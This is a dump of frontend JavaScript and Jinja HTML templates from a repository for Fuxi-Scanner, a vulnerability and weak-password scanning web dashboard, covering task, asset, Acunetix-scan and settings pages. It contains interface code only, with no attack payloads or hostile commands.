function(xhr, type) {}\n        });\n    });\n}\n\nfunction get_domain_host(nid){\n    const data = {\n        \"subdomain\": nid,\n    };\n    $.ajax({\n        type: 'GET',\n        url: '/subdomain-list',\n        data: data,\n        success: function(respond) {\n            $('#scan_target_list').val(respond);\n        },\n        error: function(xhr, type) {\n        }\n    });\n}\n\nfunction get_domain_awvs(nid){\n    const data = {\n        \"subdomain\": nid,\n    };\n    $.ajax({\n        type: 'GET',\n        url: '/subdomain-list',\n        data: data,\n        success: function(respond) {\n            $('#awvs_target').val(respond);\n        },\n        error: function(xhr, type) {\n        }\n    });\n}"
  },
  {
    "path": "Weak_Password/Fuxi-Scanner/fuxi/static/js/server/subdomain-list.js",
    "content": "$(function () {\n    $('#sampleTable').DataTable();\n});\n"
  },
  {
    "path": "Weak_Password/Fuxi-Scanner/fuxi/static/js/server/task-management.js",
    "content": "$(function () {\n    $('#sampleTable').DataTable();\n\n\n    $(\".task-update\").click(function () {\n        const taskname_val = $('[name=\"taskname_val\"]').val();\n        const task_id = $('[name=\"task_id\"]').val();\n        const recursion_val = $('[name=\"recursion_val\"]').val();\n        const target_val = $('[name=\"target_val\"]').val();\n        if (!taskname_val || !task_id || !target_val) {\n            swal(\"Warning\",\"Please check the input!\", \"error\");\n        } else {\n            $.post('/task-edit', {\n                \"taskname_val\": taskname_val,\n                \"task_id\": task_id,\n                \"recursion_val\": recursion_val,\n                \"target_val\": target_val,\n            }, function (e) {\n                if (e === 'success') {\n                    swal({\n                      title: \"Updated Successfully!\",\n                      text: \"\",\n                      type: \"success\",\n                      confirmButtonColor: \"#41b883\",\n                      confirmButtonText: \"ok\",\n                      closeOnConfirm: false\n                    },\n                    function(){\n                      location.href = \"/task-management\";\n                    });\n                } else {\n                    swal(\"Error\",\"Something wrong\", \"error\");\n                }\n            })\n        }\n    });\n});\n\nfunction rescan_task(nid){\n    const data = {\n        \"rescan\": nid,\n    };\n    swal({\n      title: \"Are you sure want to rescan?\",\n      text: \"This will clear the scan result！\",\n      type: \"warning\",\n      showCancelButton: true,\n      confirmButtonColor: \"#DD6B55\",\n      confirmButtonText: \"Rescan\",\n      closeOnConfirm: false\n    },\n    function(){\n        $.ajax({\n            type: 'GET',\n            url: '/task-management',\n            data: data,\n            success: function() {\n                location.href = \"/task-management\";\n                },\n            error: function(xhr, type) {\n            }\n        });\n    });\n}\n\nfunction task_edit_id(nid){\n    const data = {\n        \"edit\": nid,\n    };\n    $.ajax({\n        type: 'GET',\n        url: '/task-management',\n        data: data,\n        dataType: 'json',\n        success: function(e) {\n            const data  = eval(e);\n            const task_name = data.task_name;\n            const scan_target_list = data.scan_target;\n            $('#scan_target_list').val(scan_target_list);\n            $('#task_name').val(task_name);\n            $('#task_id').val(nid);\n        },\n        error: function(xhr, type) {\n        }\n    });\n}\n\nfunction task_delete(nid){\n    const data = {\n        \"delete\": nid,\n    };\n    swal({\n      title: \"Are you sure you want to delete?\",\n      text: \"\",\n      type: \"warning\",\n      showCancelButton: true,\n      confirmButtonColor: \"#DD6B55\",\n      confirmButtonText: \"Delete！\",\n      closeOnConfirm: false\n    },\n    function(){\n        $.ajax({\n            type: 'GET',\n            url: '/task-management',\n            data: data,\n            success: function() {\n                location.href = \"/task-management\";\n                },\n            error: function(xhr, type) {\n            }\n        });\n    });\n}\n"
  },
  {
    "path": "Weak_Password/Fuxi-Scanner/fuxi/static/js/server/update.js",
    "content": "$(function () {\n    $.ajax({\n        type: 'GET',\n        url: '/update',\n        success: function (response) {\n            var html = \"<ul class='app-notification dropdown-menu dropdown-menu-right'><li class='app-notification__title'>You have \" +response.title.length + \" new notifications.</li>\";\n            for(var i = 0; i < response.title.length; i++)\n            {\n                html += \"<li><a class=\\\"app-notification__item\\\" href=\" + response.url[i] + \" target='_blank'><span class=\\\"app-notification__icon\\\"><span class=\\\"fa-stack fa-lg\\\">\" +\n                    \"<i class=\\\"fa fa-circle fa-stack-2x text-primary\\\"></i><i class=\\\"fa fa-envelope fa-stack-1x fa-inverse\\\"></i></span></span><div>\" +\n                    \"<p class=\\\"app-notification__message\\\">\" + response.title[i] + \"</p><p class='app-notification__meta'>\" + response.text[i] + \"</p></div></a></li>\";\n            }\n            html += \"<li class='app-notification__footer'><a href='#'>See all notifications.</a></li></ul>\";\n            $('#notification_update').html(html);\n        },\n        error: function() {\n            var html = \"<ul class='app-notification dropdown-menu dropdown-menu-right'><li class='app-notification__title'>You have 0 new notifications.</li>\" +\n                \"<div class=\\\"app-notification__content\\\"><li><a class=\\\"app-notification__item\\\" href=\\\"javascript:;\\\"><span class=\\\"app-notification__icon\\\">\" +\n                \"<span class=\\\"fa-stack fa-lg\\\"></span></span><div></div>\";\n            $('#notification_update').html(html);\n        }\n    });\n});\nfunction readVersion() {\n    var reader = new FileReader();\n    reader.onload = function(e) {\n        var text = reader.result;\n    };\n\nreader.readAsText(file, encoding);\n}\n"
  },
  {
    "path": "Weak_Password/Fuxi-Scanner/fuxi/static/js/server/vulnerability.js",
    "content": "$(function () {\n    $('#sampleTable').DataTable();\n\n});\n\nfunction vul_result(nid){\n    const data = {\n        \"result\": nid,\n    };\n    $.ajax({\n        type: 'GET',\n        url: '/vulnerability',\n        data: data,\n        dataType: 'json',\n        success: function(result) {\n            var json_result = JSON.stringify(result, null, 4);\n            $('#scan_target_list').html(\"<pre>\" + json_result + \"</pre>\");\n        },\n        error: function(xhr, type) {\n\n        }\n    });\n}\n"
  },
  {
    "path": "Weak_Password/Fuxi-Scanner/fuxi/static/js/server/week-passwd-list.js",
    "content": "$(function () {\n    $('#sampleTable').DataTable();\n});\n\nfunction delete_result(nid){\n    const data = {\n        \"delete\": nid,\n    };\n    swal({\n      title: \"Are you sure want to delete?\",\n      text: \"\",\n      type: \"warning\",\n      showCancelButton: true,\n      confirmButtonColor: \"#DD6B55\",\n      confirmButtonText: \"Delete！\",\n      closeOnConfirm: false\n    },\n    function(){\n        $.ajax({\n            type: 'GET',\n            url: '/week-passwd-list',\n            data: data,\n            success: function() {\n                location.href = \"/week-passwd-list\";\n                },\n            error: function(xhr, type) {\n            }\n        });\n    });\n}"
  },
  {
    "path": "Weak_Password/Fuxi-Scanner/fuxi/templates/404.html",
    "content": "{% extends \"base.html\" %}\n{% block css %}\n{% endblock %}\n{% block content %}\n\n<main class=\"app-content\">\n    <div class=\"page-error tile\">\n        <h1><i class=\"fa fa-exclamation-circle\"></i> Error 404: Page not found</h1>\n        <p>The page you have requested is not found.</p>\n        <p>\n            <a class=\"btn btn-primary\" href=\"javascript:window.history.back();\">Go Back</a>\n        </p>\n  </div>\n</main>\n\n{% endblock %}\n{% block js %}\n\n{% endblock %}"
  },
  {
    "path": "Weak_Password/Fuxi-Scanner/fuxi/templates/500.html",
    "content": "{% extends \"base.html\" %}\n{% block css %}\n{% endblock %}\n{% block content %}\n    \n<main class=\"app-content\">\n    <div class=\"page-error tile\">\n        <h1><i class=\"fa fa-exclamation-circle\"></i> Error 500: Internal server error</h1>\n        <p>Internal server error.</p>\n        <p>\n            <a class=\"btn btn-primary\" href=\"javascript:window.history.back();\">Go Back</a>\n        </p>\n  </div>\n</main>\n\n{% endblock %}\n{% block js %}\n\n{% endblock %}"
  },
  {
    "path": "Weak_Password/Fuxi-Scanner/fuxi/templates/acunetix-scanner.html",
    "content": "{% extends \"base.html\" %}\n{% block css %}\n{% endblock %}\n{% block content %}\n<main class=\"app-content\">\n    <div class=\"app-title\">\n        <div>\n            <h1><i class=\"fa fa-th-list\"></i>&nbsp;Acunetix Scanner</h1>\n            <p>Acunetix Vulnerability Scanner: Web Application Security</p>\n        </div>\n        <ul class=\"app-breadcrumb breadcrumb side\">\n            <li class=\"breadcrumb-item\"><i class=\"fa fa-home fa-lg\"></i></li>\n            <li class=\"breadcrumb-item\">Home</li>\n            <li class=\"breadcrumb-item active\"><a href=\"#\">Acunetix Scanner</a></li>\n        </ul>\n    </div>\n\n    <div class=\"row\">\n        <div class=\"col-md-12\">\n            <div class=\"tile\">\n                <div class=\"tile-body\">\n                    <div id=\"sampleTable_wrapper\" class=\"dataTables_wrapper container-fluid dt-bootstrap4 no-footer\">\n                        <div class=\"row\"><div class=\"col-sm-12 col-md-6\">\n                            <div class=\"dataTables_length\" id=\"sampleTable_length\">\n                                <a class=\"btn btn-primary\" href=\"#\" data-target=\"#newScan\" data-toggle=\"modal\" title=\"New Scan\">\n                                    <i class=\"fa fa-gitlab fa-lg\"></i> New Scan</a>\n                                <br>\n                                <br>\n                            </div>\n                        </div>\n                        </div>\n\n                        <table class=\"table table-hover table-bordered\" id=\"sampleTable\">\n                            <thead>\n                            <tr class=\"text-center\">\n                                <th>Name</th>\n                                <th>Type</th>\n                                <th>Target</th>\n                                <th>Description</th>\n                                <th>Date</th>\n                                <th>Manage</th>\n                            </tr>\n                            </thead>\n                            <tbody>\n                            {% for i in acunetix_task %}\n                                <tr class=\"text-center\">\n                                    <td>\n                                        <a href=\"#\" target=\"view_window\">{{ i['task_name'] }}</a>\n                                    </td>\n                                    {% if i['scan_type'] == '0' %}\n                                        <td>Full Scan</td>\n                                    {% elif i['scan_type'] == '1' %}\n                                        <td>High Risk Vulnerabilities</td>\n                                    {% elif i['scan_type'] == '2' %}\n                                        <td>Cross-site Scripting Vulnerabilities</td>\n                                    {% elif i['scan_type'] == '3' %}\n                                        <td>SQL Injection Vulnerabilities</td>\n                                    {% elif i['scan_type'] == '4' %}\n                                        <td>Weak Passwords</td>\n                                    {% elif i['scan_type'] == '5' %}\n                                        <td>Crawl Only</td>\n                                    {% endif %}\n                                    <td>{{ i['target_list'][0] }}...</td>\n                                    <td>{{ i['description'] }}</td>\n                                    <td>{{ i['date'] }}</td>\n                                    <td class=\"text-center\">\n                                        <div class=\"hidden-sm hidden-xs action-buttons\">\n                                            <a onclick=\"down_report('{{ i['_id'] }}')\"  role=\"button\" data-target=\"#downloadReport\" data-toggle=\"modal\" href=\"#\" title=\"Download Report\">\n                                                <i class=\"fa fa-download\"></i>\n                                            </a>\n                                            &nbsp;\n                                            &nbsp;\n                                            <a role=\"button\" href=\"#\" onclick=\"delete_task('{{ i['_id'] }}')\" title=\"Delete\">\n                                                <i class=\"fa fa-trash-o\"></i>\n                                            </a>\n                                        </div>\n                                    </td>\n                                </tr>\n                            {% endfor %}\n                            </tbody>\n                        </table>\n\n                        <div class=\"modal\" id=\"downloadReport\" >\n                            <div class=\"modal-dialog\" role=\"document\">\n                                <div class=\"modal-content\">\n                                    <div class=\"modal-header\">\n                                        <h5 class=\"modal-title\">Download Report</h5>\n                                        <button class=\"close\" type=\"button\" data-dismiss=\"modal\" aria-label=\"Close\"><span aria-hidden=\"true\">×</span></button>\n                                    </div>\n\n                                    <div class=\"modal-body\">\n                                        <form class=\"form-group row\">\n                                            <div class=\"col-md-2\"></div>\n                                            <div class=\"col-md-4\" id=\"report_download_html\">\n                                                <p>Generating...</p>\n                                            </div>\n                                            <div class=\"col-md-4\" id=\"report_download_pdf\">\n                                                {# <p>Please wait...</p>#}\n                                            </div>\n                                            <div class=\"col-md-2\"></div>\n                                        </form>\n\n                                        <div class=\"modal-footer\">\n                                            <p class=\"text-muted\">If the download page returns 'Not Found(404)', please wait a few seconds to refresh the download page</p>\n                                            <button class=\"btn default \" type=\"button\" data-dismiss=\"modal\">Close</button>\n                                        </div>\n                                    </div>\n                                </div><!-- /.modal-content -->\n                            </div><!-- /.modal-dialog -->\n                        </div><!-- /.modal -->\n\n                        <div class=\"modal\" id=\"newScan\" >\n                            <div class=\"modal-dialog\" role=\"document\">\n                                <div class=\"modal-content\">\n                                    <div class=\"modal-header\">\n                                        <h5 class=\"modal-title\">New Scan</h5>\n                                        <button class=\"close\" type=\"button\" data-dismiss=\"modal\" aria-label=\"Close\"><span aria-hidden=\"true\">×</span></button>\n                                    </div>\n                                    <div class=\"modal-body\">\n                                        <form class=\"form-horizontal\" role=\"form\">\n                                            <div class=\"form-group\">\n                                                <label class=\"control-label no-padding-right\">Task Name <span class=\"text-danger\">*</span></label>\n                                                <div>\n                                                    <input type=\"text\" class=\"form-control\" id=\"task_name\" name=\"task_name\" placeholder=\"\">\n                                                </div>\n                                            </div>\n\n                                            <div class=\"form-group\">\n                                                <label class=\"control-label no-padding-right\">Target <span class=\"text-danger\">*</span></label>\n                                                <div>\n                                                    <textarea class=\"form-control\" id=\"target_addr\" name=\"target_addr\" rows=\"4\" placeholder=\"One url per line:&#13;&#10;http://example.com&#13;&#10;http://example.com\"></textarea>\n                                                </div>\n                                            </div>\n\n                                            <div class=\"form-group\">\n                                                <label class=\"control-label no-padding-right\">Scan Type <span class=\"text-danger\">*</span></label>\n                                                <div >\n                                                    <select class=\"form-control col-md-7\" id=\"scan_type\" title=\"Scan Type\" name=\"scan_type\">\n                                                        <option value=\"0\">Full Scan</option>\n                                                        <option value=\"1\">High Risk Vulnerabilities</option>\n                                                        <option value=\"2\">Cross-site Scripting Vulnerabilities</option>\n                                                        <option value=\"3\">SQL Injection Vulnerabilities</option>\n                                                        <option value=\"4\">Weak Passwords</option>\n                                                        <option value=\"5\">Crawl Only</option>\n                                                    </select>\n                                                </div>\n                                            </div>\n\n                                            <div class=\"hr hr-16 hr-dotted\"></div>\n                                            <div class=\"form-group\">\n                                                <label class=\"control-label no-padding-right\">Description </label>\n                                                <div>\n                                                    <input type=\"text\" class=\"form-control\" id=\"description_val\" name=\"description_val\" placeholder=\"\">\n                                                </div>\n                                            </div>\n\n                                        </form>\n                                    </div>\n                                    <div class=\"modal-footer\">\n                                        <button type=\"button\" class=\"btn btn-secondary\"  data-dismiss=\"modal\" aria-hidden=\"true\">Cancel\n                                        </button>\n                                        <button class=\"btn btn-primary new-scan\" type=\"button\">\n                                            <span>OK</span>\n                                        </button>\n                                    </div>\n                                </div><!-- /.modal-content -->\n                            </div><!-- /.modal-dialog -->\n                        </div><!-- /.modal -->\n                    </div>\n                </div>\n            </div>\n        </div>\n    </div>\n</main>\n\n{% endblock %}\n{% block js %}\n    <!-- Data table plugin-->\n    <script type=\"text/javascript\" src=\"static/js/plugins/jquery.dataTables.min.js\"></script>\n    <script type=\"text/javascript\" src=\"static/js/plugins/dataTables.bootstrap.min.js\"></script>\n    <script src=\"static/js/plugins/sweetalert/sweetalert.min.js\"></script>\n    <script src=\"static/js/server/acunetix-scanner.js\"></script>\n{% endblock %}"
  },
  {
    "path": "Weak_Password/Fuxi-Scanner/fuxi/templates/acunetix-tasks.html",
    "content": "{% extends \"base.html\" %}\n{% block css %}\n{% endblock %}\n{% block content %}\n<main class=\"app-content\">\n    <div class=\"app-title\">\n        <div>\n            <h1><i class=\"fa fa-th-list\"></i>&nbsp;Acunetix Scanner</h1>\n            <p>Acunetix Vulnerability Scanner: Web Application Security</p>\n        </div>\n        <ul class=\"app-breadcrumb breadcrumb side\">\n            <li class=\"breadcrumb-item\"><i class=\"fa fa-home fa-lg\"></i></li>\n            <li class=\"breadcrumb-item\">Home</li>\n            <li class=\"breadcrumb-item active\"><a href=\"#\">Acunetix Scanner</a></li>\n        </ul>\n    </div>\n\n    <div class=\"row\">\n        <div class=\"col-md-12\">\n            <div class=\"tile\">\n                <div class=\"tile-body\">\n                    <div id=\"sampleTable_wrapper\" class=\"dataTables_wrapper container-fluid dt-bootstrap4 no-footer\">\n                        <table class=\"table table-hover table-bordered\" id=\"sampleTable\">\n                            <thead>\n                            <tr class=\"text-center\">\n                                <th>Address</th>\n                                <th>Type</th>\n                                <th>Status</th>\n                                <th>Vulnerability</th>\n                                <th>Description</th>\n                                <th>Date</th>\n                                <th>Manage</th>\n                            </tr>\n                            </thead>\n                            <tbody>\n                            {% for i in tasks_info %}\n                                <tr class=\"text-center\">\n                                    <td>\n                                        <a href=\"{{ i['address'] }}\" target=\"view_window\">{{ i['address'] }}</a>\n                                    </td>\n                                    <td>{{ i['profile_name'] }}</td>\n                                    <td>{{ i['status'] }}</td>\n                                    <td class=\"text-center\">\n                                        <span class=\"badge badge-danger\">{{ i['vul_high'] }}</span>\n                                        &nbsp;\n                                        <span class=\"badge badge-warning\">{{ i['vul_medium'] }}</span>\n                                        &nbsp;\n                                        <span class=\"badge badge-info\">{{ i['vul_low'] }}</span>\n                                        &nbsp;\n                                        <span class=\"badge badge-success\">{{ i['vul_info'] }}</span>\n                                    </td>\n                                    <td>{{ i['desc'] }}</td>\n                                    <td>{{ i['start_date'] }}</td>\n                                    <td class=\"text-center\">\n                                        <div class=\"hidden-sm hidden-xs action-buttons\">\n                                            <a onclick=\"report_url('{{ i['scan_id'] }}')\"  role=\"button\" data-target=\"#downloadReport\" data-toggle=\"modal\" href=\"#\" title=\"Download Report\">\n                                                <i class=\"fa fa-download\"></i>\n                                            </a>\n                                            &nbsp;\n                                            &nbsp;\n                                            <a role=\"button\" href=\"#\" onclick=\"delete_scan('{{ i['scan_id'] }}')\" title=\"Delete\">\n                                                <i class=\"fa fa-trash-o\"></i>\n                                            </a>\n                                        </div>\n                                    </td>\n                                </tr>\n                            {% endfor %}\n                            </tbody>\n                        </table>\n\n                        <div class=\"modal\" id=\"downloadReport\" >\n                            <div class=\"modal-dialog\" role=\"document\">\n                                <div class=\"modal-content\">\n                                    <div class=\"modal-header\">\n                                        <h5 class=\"modal-title\">Download Report</h5>\n                                        <button class=\"close\" type=\"button\" data-dismiss=\"modal\" aria-label=\"Close\"><span aria-hidden=\"true\">×</span></button>\n                                    </div>\n\n                                    <div class=\"modal-body\">\n                                        <form class=\"form-group row\">\n                                            <div class=\"col-md-2\"></div>\n                                            <div class=\"col-md-4\" id=\"report_download_html\">\n                                                <p>Generating...</p>\n                                            </div>\n                                            <div class=\"col-md-4\" id=\"report_download_pdf\">\n                                                {# <p>Please wait...</p>#}\n                                            </div>\n                                            <div class=\"col-md-2\"></div>\n                                        </form>\n\n                                        <div class=\"modal-footer\">\n                                            <p class=\"text-muted\">If the download page returns 'Not Found(404)', please wait a few seconds to refresh the download page</p>\n                                            <button class=\"btn default \" type=\"button\" data-dismiss=\"modal\">Close</button>\n                                        </div>\n                                    </div>\n                                </div><!-- /.modal-content -->\n                            </div><!-- /.modal-dialog -->\n                        </div><!-- /.modal -->\n                    </div>\n                </div>\n            </div>\n        </div>\n    </div>\n</main>\n\n{% endblock %}\n{% block js %}\n    <!-- Data table plugin-->\n    <script type=\"text/javascript\" src=\"static/js/plugins/jquery.dataTables.min.js\"></script>\n    <script type=\"text/javascript\" src=\"static/js/plugins/dataTables.bootstrap.min.js\"></script>\n    <script src=\"static/js/plugins/sweetalert/sweetalert.min.js\"></script>\n    <script src=\"static/js/server/acunetix-scanner.js\"></script>\n{% endblock %}"
  },
  {
    "path": "Weak_Password/Fuxi-Scanner/fuxi/templates/advanced-option.html",
    "content": "{% extends \"base.html\" %}\n{% block css %}\n    <link href=\"static/css/duallistbox/bootstrap-duallistbox.css\" rel=\"stylesheet\">\n\n{% endblock %}\n{% block content %}\n\n<main class=\"app-content\">\n    <div class=\"app-title\">\n        <div>\n            <h1><i class=\"fa fa-edit\"></i>Advanced Options</h1>\n        </div>\n        <ul class=\"app-breadcrumb breadcrumb\">\n            <li class=\"breadcrumb-item\"><i class=\"fa fa-home fa-lg\"></i></li>\n            <li class=\"breadcrumb-item\">Config</li>\n            <li class=\"breadcrumb-item\"><a href=\"#\">Advanced Options</a></li>\n        </ul>\n    </div>\n\n    <div class=\"row\">\n        <div class=\"col-md-6\">\n            <div class=\"tile\">\n                <h3 class=\"tile-title\">Thread Settings</h3>\n                <div class=\"tile-body\">\n                    <form class=\"form-horizontal\">\n                        <div class=\"form-group row\">\n                            <label class=\"control-label col-md-3\">PoC Scanner<span class=\"text-danger\">*</span></label>\n                            <div class=\"col-md-8\">\n                                <input class=\"form-control\" value=\"{{ config_info['poc_thread'] }}\" type=\"text\" id=\"poc_thread\" placeholder=\"Max simultaneous hosts per scan\"/>\n                            </div>\n                        </div>\n\n                        <div class=\"form-group row\">\n                            <label class=\"control-label col-md-3\">Discovery<span class=\"text-danger\">*</span></label>\n                            <div class=\"col-md-8\">\n                                <input class=\"form-control\" type=\"text\" value=\"{{ config_info['discovery_thread'] }}\" id='discovery_thread' placeholder=\"Max simultaneous hosts per scan\">\n                            </div>\n                        </div>\n\n                        <div class=\"form-group row\">\n                            <label class=\"control-label col-md-3\">SubDomain<span class=\"text-danger\">*</span></label>\n                            <div class=\"col-md-8\">\n                                <input class=\"form-control\" type=\"text\" value=\"{{ config_info['subdomain_thread'] }}\" id='subdomain_thread' placeholder=\"Max simultaneous hosts per scan\">\n                            </div>\n                        </div>\n\n                        <div class=\"form-group row\">\n                            <label class=\"control-label col-md-3\">Port Scanner<span class=\"text-danger\">*</span></label>\n                            <div class=\"col-md-8\">\n                                <input class=\"form-control\" type=\"text\" value=\"{{ config_info['port_thread'] }}\" id='port_thread' placeholder=\"Max simultaneous hosts per scan\">\n                            </div>\n                        </div>\n\n                        <div class=\"form-group row\">\n                            <label class=\"control-label col-md-3\">Auth Tester<span class=\"text-danger\">*</span></label>\n                            <div class=\"col-md-8\">\n                                <input class=\"form-control\" type=\"text\" value=\"{{ config_info['auth_tester_thread'] }}\" id='auth_tester_thread' placeholder=\"Max simultaneous hosts per scan\">\n                            </div>\n                        </div>\n\n                        <div class=\"form-group row\">\n                            <label class=\"control-label col-md-3\">Discovery Time<span class=\"text-danger\">*</span></label>\n                            <div class=\"col-md-8\">\n                                <input class=\"form-control\" type=\"text\" value=\"{{ config_info['discovery_time'] }}\" name=\"discovery_time_val\" id='discovery_time_setting' placeholder=\"-\">\n                            </div>\n                        </div>\n\n                    </form>\n                </div>\n                <div class=\"tile-footer\"><a class=\"btn btn-primary update-thread-config\" href=\"#\"><i class=\"fa fa-check-circle\"></i> Submit</a></div>\n            </div>\n        </div>\n\n        <div class=\"col-md-6\">\n            <div class=\"tile\">\n                <h3 class=\"tile-title\">Subdomain Dictionary</h3>\n                <div class=\"tile-body\">\n                    <form class=\"form-horizontal\">\n                        <div class=\"form-group row\">\n                            <div class=\"col-md-6\">\n                                <label class=\"control-label no-padding-right\">Second-level domain<span class=\"text-danger\">*</span></label>\n                                <textarea class=\"form-control\" id='subdomain_dict_2' type=\"text\" placeholder=\"One value per line\" rows=\"10\">{{ config_info['subdomain_dict_2'] }}</textarea>\n                            </div>\n\n                            <div class=\"col-md-6\">\n                                <label class=\"control-label no-padding-right\">Three-level domain<span class=\"text-danger\">*</span></label>\n                                <textarea class=\"form-control\" id='subdomain_dict_3' type=\"text\" placeholder=\"One value per line\" rows=\"10\">{{ config_info['subdomain_dict_3'] }}</textarea>\n                            </div>\n                        </div>\n                    </form>\n                </div>\n                <div class=\"tile-footer\"><a class=\"btn btn-primary update-subdomain-dict-config\" href=\"#\"><i class=\"fa fa-check-circle\"></i> Submit</a></div>\n            </div>\n        </div>\n\n        <div class=\"col-md-6\">\n            <div class=\"tile\">\n                <h3 class=\"tile-title\">Thread Settings</h3>\n                <div class=\"tile-body\">\n                    <form class=\"form-horizontal\">\n                        <div class=\"form-group row\">\n                            <label class=\"control-label col-md-3\">Port List<span class=\"text-danger\">*</span></label>\n                            <div class=\"col-md-8\">\n                                <textarea class=\"form-control\" type=\"text\" id=\"port_list\" rows=\"6\" placeholder=\"Server Discovery Port\">{{ config_info['port_list'] }}</textarea>\n                            </div>\n                        </div>\n\n                    </form>\n                </div>\n                <div class=\"tile-footer\"><a class=\"btn btn-primary update-port-config\" href=\"#\"><i class=\"fa fa-check-circle\"></i> Submit</a></div>\n            </div>\n        </div>\n\n        <div class=\"col-md-6\">\n            <div class=\"tile\">\n                <h3 class=\"tile-title\">Username & Password</h3>\n                <div class=\"tile-body\">\n                    <form class=\"form-horizontal\">\n                        <div class=\"form-group row\">\n                            <div class=\"col-md-6\">\n                                <label class=\"control-label no-padding-right\">Username<span class=\"text-danger\">*</span></label>\n                                <textarea class=\"form-control\" id='username_list' type=\"text\" placeholder=\"One username per line\" rows=\"10\">{{ config_info['username_dict'] }}</textarea>\n                            </div>\n\n                            <div class=\"col-md-6\">\n                                <label class=\"control-label no-padding-right\">Password<span class=\"text-danger\">*</span></label>\n                                <textarea class=\"form-control\" id='password_list' type=\"text\" placeholder=\"One password per line\" rows=\"10\">{{ config_info['password_dict'] }}</textarea>\n                            </div>\n                        </div>\n                    </form>\n                </div>\n                <div class=\"tile-footer\"><a class=\"btn btn-primary update-user-passwd\" href=\"#\"><i class=\"fa fa-check-circle\"></i> Submit</a></div>\n            </div>\n        </div>\n\n    </div>\n</main>\n\n{% block js %}\n    <script src=\"static/js/plugins/sweetalert/sweetalert.min.js\"></script>\n    <script type=\"text/javascript\" src=\"static/js/plugins/laydate/laydate.js\"></script>\n    <script src=\"static/js/server/settings.js\"></script>\n    <script>\n        laydate.render({\n            elem: '#discovery_time_setting',\n            type: 'time',\n            lang: 'en'\n        });\n    </script>\n\n{% endblock %}\n{% endblock %}"
  },
  {
    "path": "Weak_Password/Fuxi-Scanner/fuxi/templates/asset-management.html",
    "content": "{% extends \"base.html\" %}\n{% block css %}\n    <link href=\"static/css/duallistbox/bootstrap-duallistbox.css\" rel=\"stylesheet\">\n{% endblock %}\n{% block content %}\n<main class=\"app-content\">\n    <div class=\"app-title\">\n        <div>\n            <h1><i class=\"fa fa-th-list\"></i>&nbsp;Asset Management</h1>\n            <p></p>\n        </div>\n        <ul class=\"app-breadcrumb breadcrumb side\">\n            <li class=\"breadcrumb-item\"><i class=\"fa fa-home fa-lg\"></i></li>\n            <li class=\"breadcrumb-item\">Home</li>\n            <li class=\"breadcrumb-item active\"><a href=\"#\">Asset List</a></li>\n        </ul>\n    </div>\n\n    <div class=\"row\">\n        <div class=\"col-md-12\">\n            <div class=\"tile\">\n                <div class=\"tile-body\">\n                    <table class=\"table table-hover table-bordered\" id=\"sampleTable\">\n                        <thead>\n                        <tr class=\"text-center\">\n                            <th>Name</th>\n                            <th>Dept</th>\n                            <th>Admin</th>\n                            <th>Discover</th>\n                            <th>asset_date</th>\n                            <th>Manage</th>\n                        </tr>\n                        </thead>\n                        <tbody>\n                        {% for i in asset_info %}\n                            <tr>\n                                <td>\n                                    <a href=\"asset-services?asset={{ i['_id'] }}\">{{ i['asset_name'] }}</a>\n                                </td>\n                                <td>{{ i['dept_name'] }}</td>\n                                <td>{{ i['admin_name'] }}</td>\n                                <td>{{ i['discover_option'] }}</td>\n                                <td>{{ i['asset_date'] }}</td>\n                                <td class=\"text-center\">\n                                    <a onclick=\"get_asset_host('{{ i['_id'] }}')\" role=\"button\" href=\"#\" title=\"New Vul Scan\" data-toggle=\"modal\" data-target=\"#newScan\">\n                                        <i class=\"fa fa-bug\"></i>\n                                    </a>\n                                    &nbsp;\n                                    &nbsp;\n                                    <a onclick=\"get_asset_host('{{ i['_id'] }}')\" role=\"button\" href=\"#\" title=\"New Auth Tester\" data-toggle=\"modal\" data-target=\"#newAuthtest\">\n                                        <i class=\"fa fa-gavel\"></i>\n                                    </a>\n                                    &nbsp;\n                                    &nbsp;\n                                    <a onclick=\"asset_info('{{ i['_id'] }}')\"  role=\"button\" data-toggle=\"modal\" href=\"#\" title=\"Edit\" data-target=\"#editAsset\">\n                                        <i class=\"fa fa-pencil\"></i>\n                                    </a>\n                                    &nbsp;\n                                    &nbsp;\n                                    <a onclick=\"delete_asset('{{ i['_id'] }}')\"  role=\"button\" href=\"#\" title=\"Delete\">\n                                        <i class=\"fa fa-trash-o\"></i>\n                                    </a>\n                                </td>\n                            </tr>\n                        {% endfor %}\n                        </tbody>\n                    </table>\n                    <div class=\"modal fade\" id=\"editAsset\" tabindex=\"-1\"  role=\"dialog\" aria-labelledby=\"myModalLabel\" aria-hidden=\"true\"><!-- /edit-modal -->\n                        <div class=\"modal-dialog\">\n                            <div class=\"modal-content\">\n                                <div class=\"modal-header\">\n                                    <h4 class=\"modal-title\" id=\"myModalLabel\">\n                                        Edit Asset\n                                    </h4>\n                                </div>\n                                <div class=\"modal-body\" >\n                                    <form class=\"form-horizontal\" role=\"form\">\n                                        <div class=\"form-group\">\n                                            <label for=\"name\"> Name <span class=\"text-danger\">*</span></label>\n                                            <input type=\"text\" class=\"form-control\" name=\"asset_name_edit\" id=\"asset_name_edit\" placeholder=\"Loading...\">\n                                        </div>\n                                        <div class=\"form-group\">\n                                            <label for=\"name\"> Asset ID</label>\n                                            <input type=\"text\" title=\"Asset ID\" class=\"form-control\" name=\"asset_id_edit\" id=\"asset_id_edit\" disabled=\"disabled\">\n                                        </div>\n                                        <div class=\"form-group\">\n                                            <label for=\"name\"> Host <span class=\"text-danger\">*</span></label>\n                                            <textarea class=\"form-control\" rows=\"3\" id=\"asset_host_edit\" name=\"asset_host_edit\" placeholder=\"Loading...\"></textarea>\n                                        </div>\n                                        <div class=\"form-group\">\n                                            <label for=\"name\"> Dept <span class=\"text-danger\">*</span></label>\n                                            <input type=\"text\" class=\"form-control\" id=\"dept_name_edit\" name=\"dept_name_edit\">\n                                        </div>\n                                        <div class=\"form-group\">\n                                            <label for=\"name\"> Admin <span class=\"text-danger\">*</span></label>\n                                            <input type=\"text\" class=\"form-control\" id=\"admin_name_edit\" name=\"admin_name_edit\">\n                                        </div>\n\n                                        <div class=\"toggle lg\">\n                                            <label>Discover Option\n                                                <input type=\"checkbox\" checked><span class=\"button-indecator\"></span>\n                                            </label>\n                                        </div>\n\n                                        <div class=\"modal-footer\">\n                                            <button type=\"button\" class=\"btn btn-secondary\"  data-dismiss=\"modal\" aria-hidden=\"true\">Cancel\n                                            </button>\n                                            <button class=\"btn btn-primary asset-update\" type=\"button\">\n                                                <span>Submit</span> <i class=\"fa fa-send m-l-10\"></i>\n                                            </button>\n                                        </div>\n                                    </form>\n                                </div>\n                            </div><!-- /.modal-content -->\n                        </div><!-- /.modal-dialog -->\n                    </div><!-- /.modal-end 